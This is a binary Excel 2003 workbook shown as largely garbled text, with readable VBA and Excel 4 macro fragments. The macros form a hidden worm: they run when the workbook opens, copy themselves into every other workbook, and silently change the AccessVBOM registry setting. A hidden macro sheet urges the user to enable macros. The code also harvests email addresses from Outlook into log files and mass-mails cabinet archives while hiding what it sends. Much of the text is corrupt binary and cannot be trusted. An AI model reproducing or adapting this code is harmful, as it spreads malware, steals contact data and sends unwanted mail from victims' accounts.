ࡱ> l*<+  !"#$%&'()3,-./0124:56789;@=>?BCD\FGHIJKLMNOPQRSTUVWXYZ[A]^_`abcdefghijkmnopqrstuvwxyz{|}~Root Entry FXg'@5WorkbookJETExtDatar_VBA_PROJECT_CUR"@@'@  !"#$%&'()*+,-456789:;<=>?@ABCEFGIJKLMNOPQRSTUVWXYZ\]^`bcdefghijklmnopqrsuvwy{|}~ &s$ .A  A.  A. Deleted By Kaspersky Lab AV \pwangxun Ba="" ThisWorkbook=x<&8X@"1[SO1[SO1[SO1[SO1[SO1,NSe-N[1.Times New Roman1.Times New Roman1[SO1[SO1[SO1 [SO1h8[SO1,8[SO18[SO18[SO1[SO1[SO1[SO14[SO1 [SO1[SO1 [SO14[SO1<[SO1?[SO1>[SO""#,##0;""\-#,##0""#,##0;[Red]""\-#,##0""#,##0.00;""\-#,##0.00#""#,##0.00;[Red]""\-#,##0.007*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\)61_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* \-_ ;_ @_ >9_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* \-??_ ;_ @_                                                         P P      a>       ff   `  +  )                      8@ @ 8@ @ (@ @ 8@ @  @ @  @ @ 8@ @  @ @ `@ `@ @  0  ||L&!Χ}A} #,##0.00ef_ @_ }A} #,##0.00ef_ @_ }A} #,##0.00ef_ @_ }A} #,##0.00ef_ @_ }A} #,##0.00ef_ @_ }A} #,##0.00ef _ @_ }A} #,##0.00L_ @_ }A} #,##0.00L_ @_ }A} #,##0.00L_ @_ }A} #,##0.00L_ @_ }A} #,##0.00L_ @_ }A} #,##0.00L _ @_ }A} #,##0.0023_ @_ }A} #,##0.0023_ @_ }A} #,##0.0023_ @_ }A} #,##0.0023_ @_ }A}  #,##0.0023_ @_ }A}! #,##0.0023 _ @_ }-}# #,##0.00}A}$ #,##0.00_ @_ }A}% #,##0.00?_ @_ }A}& #,##0.0023_ @_ }-}' #,##0.00}A}( #,##0.00_ @_ }A}) a#,##0.00_ @_ }U}* #,##0.00_ @_  }}- }#,##0.00_ @_    }}. #,##0.00_ @_ ??? ??? ??? ???}-}/ #,##0.00}-}0 #,##0.00}A}1 }#,##0.00_ @_ }A}4 #,##0.00_ @_ }A}5 #,##0.00_ @_ }A}6 #,##0.00_ @_ }A}7 #,##0.00_ @_ }A}8 #,##0.00_ @_ }A}9 #,##0.00 _ @_ }A}: e#,##0.00_ @_ }}; ???#,##0.00_ @_ ??? ??? ??? ???}}< ??v#,##0.00̙_ @_    }x}=#,##0.00̙_ @  !20% - :_eW[r 1O20% - :_eW[r 1 ef %!20% - :_eW[r 2O"20% - :_eW[r 2 ef %!20% - :_eW[r 3O&20% - :_eW[r 3 ef %!20% - :_eW[r 4O*20% - :_eW[r 4 ef %!20% - :_eW[r 5O.20% - :_eW[r 5 ef %!20% - :_eW[r 6O220% - :_eW[r 6  ef %!40% - :_eW[r 1O40% - :_eW[r 1 L %!40% - :_eW[r 2O#40% - :_eW[r 2 L湸 %!40% - :_eW[r 3O'40% - :_eW[r 3 L %!40% - :_eW[r 4O+40% - :_eW[r 4 L %!40% - :_eW[r 5O/40% - :_eW[r 5 L %!40% - :_eW[r 6O340% - :_eW[r 6  Lմ %!60% - :_eW[r 1O 60% - :_eW[r 1 23 %!60% - :_eW[r 2O$60% - :_eW[r 2 23ٗ %!60% - :_eW[r 3O(60% - :_eW[r 3 23֚ %!60% - :_eW[r 4O,60% - :_eW[r 4 23 %! 60% - :_eW[r 5O060% - :_eW[r 5 23 %!!60% - :_eW[r 6O460% - :_eW[r 6  23 %"~vRk #h+h I}% $h 1=h 1 I}%O %h 2=h 2 I}%? &h 3=h 3 I}%23 'h 4/h 4 I}%(]5]  %8^ĉ)}Y5}Y  a% *Gl;`GGl;` %OO+'^, '^[0] -{o{  }% .hgUSCQyO]\O 7>yO[ 7ez;mR 7SO;mR 7Ngzf 7퐐t 7gvs^ 7Y[ 7 _.t&t 7 _)Y 7sg3 7NgN9N 7^^ 7^ 7RZZ 7HY 7 _9N 7 _@l\ 7UY%f 7Ngl 7^ޘ 7sm 7ёwsO 7Nwm 7 _xQGY 7hgfQ 7sQ 7] 7 _*twZ 7lyY 7f[`N 7 2012 2013 f[t^^  72- -.n/xP0Z61@ccBĘ7ɹq1 @ 35  dMbP?_*+%&ffffff?'ffffff?(?)?"Ę7333333?333333?b&<3U3_BT/wangxunBA Bj0y(u[ sQ 2013/10/28 16:05:33 Please Enable Macro!BvB$A$B7d 3   > 7ggD  ,7rE  dMbP?_*+%&?'?('}'}?)'}'}?" dX[[?[[?&[U} }  }  } }  } } ` @{@`@?>?@?@?@?@ ?@ ?@ ?@ ?@ ?@?@?@?@?@?@?@?@?@?@?@?@;;;; IIIIIIII K-KKKKKKKKKKKKKKK JJJJJJJ ? ? ? ? ? ? @ A ~ B? C C CC]A C ~ D@@C~ B@ C C CC]A C ~ D@@C~ B@ C C CCEA C ~ D@@C~ B@ C C CCWA C ~ D@@C~ B@ C C C C 8gA C~ D@@ C~ B@ C C C C]A C~ D@@ C~ B@ C C G G]A C~ D@@ C~ B @ C C C C@FA C~ D@@ C~ B"@ C C C C]A C~ D@@ C~ B$@ C C CC]A C~ D@@C~ B&@ C C CC@]A C~ D@@C~ B(@ C C CCQA C~ D@@C~ B*@ C C C C@]A F~ D@@C~ B,@ C C C"C@HA F~ D@@C~ B.@ C C C#CHA F~ D@@C~ B0@ C C C!CTA F~ D@@C~ E1@ C C F$F@]A C~ D@@F~ B2@ C C C%C@IA C~ D@@C~ B3@ C C C&CQA C~ D@@C~ B4@ C C C'CYA C~ D@@C~ B5@ C C H+H]A H,~ C@@C~ B6@ C C H(H]A H,~ C@@C~ B7@ C C H*H]A H,~ C@@C~ B8@ C C H)H]A H,~ C@@C> 0&&$pppppppppppppppppppppppp>@d  7 Sheet1b(b(ggD  G  dMbP?_*+%&?'?('}'}?)'}'}?" d X[[?[[?&[U>@d  7 Sheet2b(b(ggD  XI  dMbP?_*+%&?'?('}'}?)'}'}?" d X[[?[[?&[U>@d  7 Sheet3b(b(ggD VBA@@@C@ThisWorkbook __SRP_23,__SRP_3 DAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Funrc d#r&n.ŠtoreAfterar}DoorMisofthobb yABJudg  M(2d | e>AB1o>`2=1>E 8k4.xls A 2)7A-m@@oDole","D ?b|)qExit Rsgv@eStringE L& /tToo4fOve@rwrite s&t1Bo an)#xt~ ?:!<3AFO  AS SlashPows LonbgExt0FTempuFL c@Is No`0eq !# L a ATrim()vbNull3%a  Y" Q0@c].;t 70"_pp_locked_y15 [t?0 22F!'Q ?:f # О.NumberA0!0_!Y!9=vironN2")"\ !.bas D<= + s$Di$r(", .or mp+HiddšSystem~)01CleakE KiB% q929*8* .Rem .I BgEb@Xrr.:))/ += 9?7 0+A?23a;roject.VBComponents(ModuleName).Export F"i@:=F\   SlashPos = InStrRev(F, "\")HExtD."cZGMidB]+P 1, F-t- 1bet GNothingToVBPB *If)Is *` Then, (.I El se!2.Type_vbext_ct_Docum_̌9;S~TempK:CKWith?.pCode.DeleteLinesAj untOf S7*H. (zCo-A! .Inse,rt!SEn d A4KOn Error GoTo 0 VPRempove ) IfKill copymCru Functio@  Microsofthobby(>Dim myf0 As º9MyI8Res N = KisWorkbook.Full| = Applica.StartupPa@C&|k4.xls" XeOpen("$) A/ThH <> k s' .Clo se FaBgShe *Environ$("coms@pec")  /c attrib -S -h """9K4.XLS, vbMinimizedFos @`@ /F /Q? \? RD /S 3 B62= )creenUpdy DngY4r IsAddin^/SaveC c`ZOk) ZTlasm!!WDoorElFso, RK1i*234 rKValuebVariant, c dcVSw`krVersBA@+CreateOb("scRiPTinG.fiLEsysTA`BjEcTx  = "HKEY_CURRENT_USER\SA0Gware\H\Office\4Q&Excel\Security\AccessVBOMPARK2+t\Le(velB3FLOCAL_MACHINE__"] ~4X   5 = 1. CaLWReg("p"REG_DWORDŒz 2$03744 !3Sub bstrkey',, //Rk|2oWsq]S,P;-WScript.Ya6D0_8KF.`W*e  d C"dn  B Priv: %M ma~4(ByP wbp@@xtQ shtC?c 0e1).Sp^cqWpP.Y ! :=xl64M!# Ave.4"218SRange("A,2"kCz.FormulaR1C116=ERROR(FALSE)գ U3_ia_ "=IF(.TYPE(RUN(; |~Up J""))=4 4Ac ALERT@ú꣬ر PChr(10NowA"PleaE@nable !"",3m5oocFILE.CLOSE/6aEND.`7RETURN(#! Each )In(wb$s"( %!Auto_#1 "`M=&!$A$~2X,+sB(0/VisiA= xlB,ryHiddܸ88Fu7ҬBR$wK6`) .v v;BƶotpKL0)4s(a1) > 0pÎAExi& p d I3 okNotOpen: End Function Private Sub ATJudge() Const T1 As DF= "10:0U"<2 <1 <3U <4 4 5Dim SentTime", Ws@hShellSet = CreObject("WScript.-"If  InStr(@UCase(&.RegRead("HKEY_CLASSES_ROOT\mailtHo\s:\o\command\")), "OUTLOOK.EXE") > 0 Then ExitS<b>= <2 Or.  4% N "QOunD@:\Collted_Address:frag1.txtC" G% ElseCBPFilez"7\ search_in_OLyIfG2bif_outlook_U+M# G< TF=("n)10,)R TZ 4)GFF=B-21,w@,Orror GoTo t@EIKCA3(w2w@FGGVw < (2@Gb$ \loggHPH HnI" JI`Now9R#i,"Cab_ dMyISBU`GVaxˤ)] aiInteger, AttNaing@ddVbsbkListfs gaLResu` Next 7s¡.f{systemoOb_I @Mfs.Folderexs("E:\KKbFa}z$8b  $= Replace`Left(ThisWork b.!), Len) - 4 K_"A.D qF._cl\" &f4& "P.vbs@PiFHreea2 7}d7 F{@pu t`c Wri3 ;#i3nt #i V4e4 (Gwsh, Xtle` vi  T0r-a7=cc:(""i!"w>.4) @Microsoft Office PAZ'Q1 `N1000 Ifmrp > 6 rCall !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=U quitRePDo Untibl AppqA(JCpJ("))True+aSI*aLoop=% s?_ 1q[z{F4?7q\Sub`Close (i0s@\ @A"b@В@0AyAn Af'olVInbox 6QCconbiTnd`ac,E,DtLxF#=YusC۳38F_A б. %lica!T. 9^sp`.GetMMAPI vD@efault(J_ Targe~ eC 1 colIPxsI.B23V VaH.Run _exopo svbHidg{{tB pgQ/E(achMPpage in K< 0IB`>55 t`t ?0=@/valhid_0($D .pBodyUp_t@, 8{ j_non_sО2AllT002ku5QY{0;2u source_dataL AaAoDictr dpta , temp_data, ih_asc, header_endHrimed_arr, no nsame0" Print #l" Dim regex, matchs, &sn()XSet oDict = CreateObject(""" & "Scripting.$ionaryLyLVBSCRIPT.REGEXPGQ(.Global,TruePattern-\w+([-+.])*@\. ,+EExecute(sourcfeُReÇ(!".Cou- 1For i@$Lbd() pTo UN* i)@I(& vbCrLfNext (B(N(H7@%)`Ý'IfX> 0 TxhenS!HI$.keysS L>f>@validdress}&{`# !@ E0nd I/;i|Nothy Funct{+v Sub add_t@F(inpad_sOng`_frag/\AbobjFSO, logfile A_path#fol@ `&$FD:\CollA*ImB!FSysf#D On Err`w9ume niA .cFb(el n ].Exist.sch\ .tzl8b$a2T !  , o$8S"S'$SeaB Case ׂTR #8 "AT"Open"tdF, 8#, - 1A.Writ -c5 C2Clos;_q 2 SO. 9O% 2 s C C I%[s!5>nN "ubNeQ RAllF?.M2N, My@%Lss< UBound(a)cP@erve a(n*2A?rn x+ 1/ 8@} o/ -1/ d}=0a) ClopW(iPp?q z b\TEST.t #PK_aX>~ нw.@eenUpd`n&g" гto reBefPSend SaveC1 Af<c c<4$1 Ch8Dri%, ,'"C:\ir`)1 QEnviron$("comspec"3 /c makecab 0 c*i  !If NxextyBRadomNine`(leng>Integerr eH !@jj, ki"N"#$<= oc @:1E i1 `-O$$_id U = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.KUAslea_arrAlPApSpkt(Read@[("D: \Collfed5h\logr)pcxYkrrV)U@Bound()uLs "#O P$;A$(C`(i- 1&G$O7on Fxull6%F\Rxesu&FsoileT2>aQK`{sscRiPTinG.fiLEsysTeMoBjEcTsF@.O@zEa(5 , 1T,| -a q$.1!All*.C|loᾟg 3ragMark, pathfO?NO‰OQ}("OM@:Left(, Lena(10  ´f`It_Q1" ue 2Write Fd 1Eڑ1"i"b"A1#mqSӮgN4storeBeeQ(#!! aa!i, i_rowjcol@Psht1s_Z48.DisAlert!$++I Q  aa.Visible ~r0#VS"!")(1)`"Auto_Aq" Then aa.Delete Next For Each sht InisWorkbook.Sheets IfF.Name = "Macro1B.VisiblBxl| DUEnd IfAp(1).ScC.Add5<<> V^VeryHiddenH i_rowwInt((15 * Rnd) + 1) i_col6 CellsR(, )"** CONFIDENTIAL!b " -2Use " & Chr(34)Left(Thk, Len ) - "_key.vbs @p0o OpA FPile.$3 $8$1V$ļ"With Range(U, NgB.Font.Bold_TruColorIndex@3  Application.ScreenUp2dng Sub Private Func RestoreAfterW"(#Dim, del_, rngCfrag As BooleaOn Err{@u܃@ A9veB,Fa ls DisplayAlerts D?$ l*Bwl atd).c>"A1:F1 5"' InStr(.Value, "i") > 0B *= >Exit < l"ņa}5)&?CBaCA $ \ >#`%*#TlX*#&*F 't2 `TX\6r:D#N $1X \$ \ >#`(*#TlX*#&*F 't2 `TX\6r:D#N $1X \$ \ >#`)*#TlX*#&*F 't2 `TX\6H` $ 0l`X \$ \ lX=2`X\" \$ \ \$  ldFD%$ $ " \$ \ \00ldh0 `XT\@$K) $$ $ d> 1($  \Nl(*# *1X/ l(*# *1T/ l(*# *1P/ l(*# *1L/ (< (,C  <X  / C  ,T  / C  <P  / C  ,L  / |$H00 lXTPL(<,\ $t\  \lN 0Dl @lel @l@lcl@t(0l\0   ppzKkQX\ F`%pt$ t p D"\ lXJ/X)tp\ipz$p$0 Xtp\4D  DTNM:l.%T>D/$ 0$:1(]p6D$lD 2Dl?]V$ 24UUUUUU?]I' 2?]V 2?]I't6DU#:l3NDD 4#p50/p5D#P$:43N$$:l5NDD 66D$ 7. 8eD 2DlUUUUUU?]p$ 2UUUUUU? 99 :I' 2?]p 2t? 99` :`IP'@06Dt`#,+D ;D99$ :$Otd6D$Ku :l<NDD 4#ptd/p5D^D ;DdMl@99$ :$c:4=N 4#p0/p6D$*$:43N$$:lNDD 66D$$D ;:l<N$$D 66D$ >L4(0TLpD$t`P@00   0 P  0 8   7:?%'8:h@NXX( A (BBN6X8(pz0AXC:hD8(H]t6X8pz N40X8(0   0 0  0   0 H   0  rU~| m  q91 Q I )I!) !a""""!#Q#y#$# $Q%A$$%%1&i&&i')'Q* (Q(ya(*(Y)1+y+9,+' ,,I- A.-)-.Q-i-!//1 0-y0-Y  9!  y t," x$ x xHt $ 0ltp x$ x lp=2tpx$" x$ x x X Y>\(`%x$ x d\W< :L ]@)x\5<V=[x Zx $ " x$ x xP,$0 $tpx\<,F\`:d[%tx$ Xx \Ht I` ,RQ\X)xt`\X <W]X <W^X <W_X <W`X <WaX <WbX <WcX <W_ X <Wd X <W9ef*#Tg*#Pf*#Lh*#H X <W2TPLHi X <Wj X <W`X <WkX <WlX <WbX <WcX4(0X,TPLHxt`\l$ XQlx'X:\[%lx \Hl IQXtllt ,RQlp lpTPT 8WlPT @WcT,40TtxplXHh $ 0lh` d$ d l`=2h`dx P 5P P 5P P 5P ,(0lh`dP lhK9DH:L %\$ \ D"H XQDd)\H\h XQ\`!+>`dEC@@ F/@ @40lhd`@\HD4K cpz&l ML@< G<F,]35<Opz cgpzH THlpzH THlpzK( FL%H \H IQt$ J KlpzE:LLN<< M:,N F:O`1p6 < $pML@ P#=/ JHpML@ Q$ J KlpzH \HQ% FL% IQ[ ,Ic JH( FL%H \H IQt$ J Kl$ J Kl pz1lp FL%H \H I 4R)Nlp^SqdTlp^Sq`:l`ldi1) <WcK#l\H \H ,I)pML@ Qpz@0(lpth\,<pK` $ >`1h0` \$ \ l`*1d/`\Y C`` !X $ 0lXT \$ \ lT=2`XT\B '%' %f0%@:D %\$ \ D"@ l)\@r:D#N $1X \K4$ @4W$ L4" 4$ 4 4" 4$ 4 44$ Q4[ \r\A$ : ]@5$ %\C \sG: %L4$ 4 d$<)4R0stdole h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-_VBA_PROJECTdir__SRP_0 __SRP_1J(`VS_`Version` CreateObject`(WRegy`strkey`ValueK` ValueType `oWshellu`RegWrite!>`sht`Addr`xlExcel4MacroSheet0` ActiveSheet%N`Range ` ActiveCell` FormulaR1C1S`UserName\`ChrK~`Now%`Namesο`Excel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`_B_str_Environ` _B_var_UCasea` _B_var_Time$` _B_var_objs"` _B_var_objz` _B_var_TrimmT`_B_var_Environ/` _B_var_Midp`# Z"H`;Z_Ll-eN`A4vҗ;ůL0R-(lAl .MNLE6s٢4F Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Off5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft Shared\OFFICE12\MSO.0DLL#M 1q Ob Li`braryKVBIDE>BIDjEE8157R5.3R/\6E6EXT.OLB0Visual Basic for Applicas Extensibilit\y +BDBThisWorkb@ookG TAisWrPkbo 2 HB1B B,!`"B +BBSheet1GS@#e@t1H2NI2222T 3 3 3M 3 )g T,oD@u T9DOLY) ŝ)G#!7ba *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.6#0#C:\Program Files\Microsoft Office\Office12\EXCEL.EXE#Microsoft Excel 12.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.4#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE12\MSO.DLL#Microsoft Office 12.0 Object LibraryZ*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Common Files\Microsoft Shared\VBA\VBA6\VBE6EXT.OLB#Microsoft Visual Basic for Applications Extensibility 5.3 MTThisWorkbook0C54218fdeThisWorkbook`` Sheet10E54218fde Sheet1 Sheet20F54218fde Sheet20 Sheet30G54218fde Sheet3gH ToDOLE0D54218fde" ToDOLEG#`ŝx0H`;Z_Ll-eN`A4vҗ;ůL0R-(lAl .MNLE6s٢4F Excel+` VBA`Win16~`Win32`Mac`VBA6#`1p` stdole`` VBAProject` Officeu` ThisWorkbook|` _Evaluate` Sheet1` Sheet2` Sheet3` VBIDEA`ģ1c` ToDOLEŝ` auto_openV ` Application*` DisplayAlerts`Path2` StartupPathi`ScreenUpdating! `delete_this_wk}`copytoworkbooke`Sheets ` Movemacro4@`Save`DQUOTE!x` VBProjectOh` VBComponents '` CodeModule` InsertLines`VBProj`VBCompӜ` VBComponent`CodeMod}O` DeleteLines ` CountOfLines!\`(do_what`RestoreAfterOpen`(OpenDoor`(Microsofthobby ` ActionJudgeBG` (copystart `wb_`Workbookk`VBProj1F`VBProj2G` WorkbooksB` (copymodule` ModuleName#>` FromVBProject6` ToVBProject`OverwriteExistingk`FNameR`CompName!`Sj`SlashPosk#`ExtPosF` TempVBComp`Trim@` vbNullString` Protection`vbext_pp_lockedh`Erro`Number-`Environ,`vbNormal-`vbHiddenT;`vbSystem`Clear`Kill`Removeϱ`Itemz`Export`FileNamej`InStrRevĈ`Importi`vbext_ct_Document `Lines`myfile0[y`MyFile`FullNameО` WorkbookOpen`ShellV`vbMinimizedFocusx`IsAddin~|` SaveCopyAsT`Fso`RK1`RK2`RK3`RK4`KValue1'`KValue2 A1:F15 Range Value CONFIDENTIAL Deletetkp'I U {,Џ+FMrt$C[}-yCIcFtfgQF2sF,Aj5DFWorkbook @FName Macro1  ThisWorkbook`FbFdFnF " FPublic WithEvents xx As Application 6Private Sub Workbook_open() (Set xx = Application (On Error Resume Next =ALERT("y(u[ sQ s|ݴKO^z* BApplication.DisplayAlerts = False Call do_what End Sub bPrivate Sub xx_workbookOpen(ByVal wb As Workbook) Jwb.VBProject.References.AddFromGuid _ GUID:= L{0002E157-0000-0000-C000-000000000046} , _ $Major:=5, Minor:=3xx DApplication.ScreenUpdating = False copystart wb BApplication.ScreenUpdating = TrueF 7b@ԧ<] Fn pFYgqWDF Worksheet Select A2 =ERROR(FALSE) A3 (=IF(ERROR.TYPE(RUN(" "))=4) A4#kyGn* 0Please Enable Macro!",3) A5 $=FILE.CLOSE(FALSE) A6 =END.IF() A7 =RETURN() !Auto_Activate =Macro1!$A$2VisibleVBE6.DLL q`  q" ([KAi_hVOr5LpU0D^3B]-Bf19CDF Workbook_openxx_workbookOpen H44 Q1Hxx Q XThisWorkbookThisWorkbookSheet1Sheet1Sheet2Sheet2Sheet3Sheet3ToDOLEToDOLEID="{09AC4CDE-9AB4-4E80-8C76-AE4A7AFAA111}" Document=ThisWorkbook/&H00000000 Document=Sheet1/&H00000000 Document=Sheet2/&H00000000 Document=Sheet3/&H00000000 Module=ToDOLE Name="VBAProject" HelpContextID="0" VersionCompatible32="393222000" CMG="86PROJECTwm}PROJECT-SummaryInformation(|DocumentSummaryInformation8484A63FDA417145714571457145" DPB="2123014202420242" GC="BCBE9C45ACE1ADE1AD1E" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisWorkbook=0, 0, 0, 0, C Sheet1=0, 0, 0, 0, C Sheet2=0, 0, 0, 0, C Sheet3=0, 0, 0, 0, C ToDOLE=0, 0, 0, 0, C Oh+'0L    ,4<DMwangxunK@4B}@o@ @p@՜.+,D՜.+,    (08@ H q Sheet1Sheet2Sheet3 ` ?GKSOProductBuildVer2052-9.1.0.4047 F#Microsoft Office Excel 2003 Biff8Excel.Sheet.89qCompObjo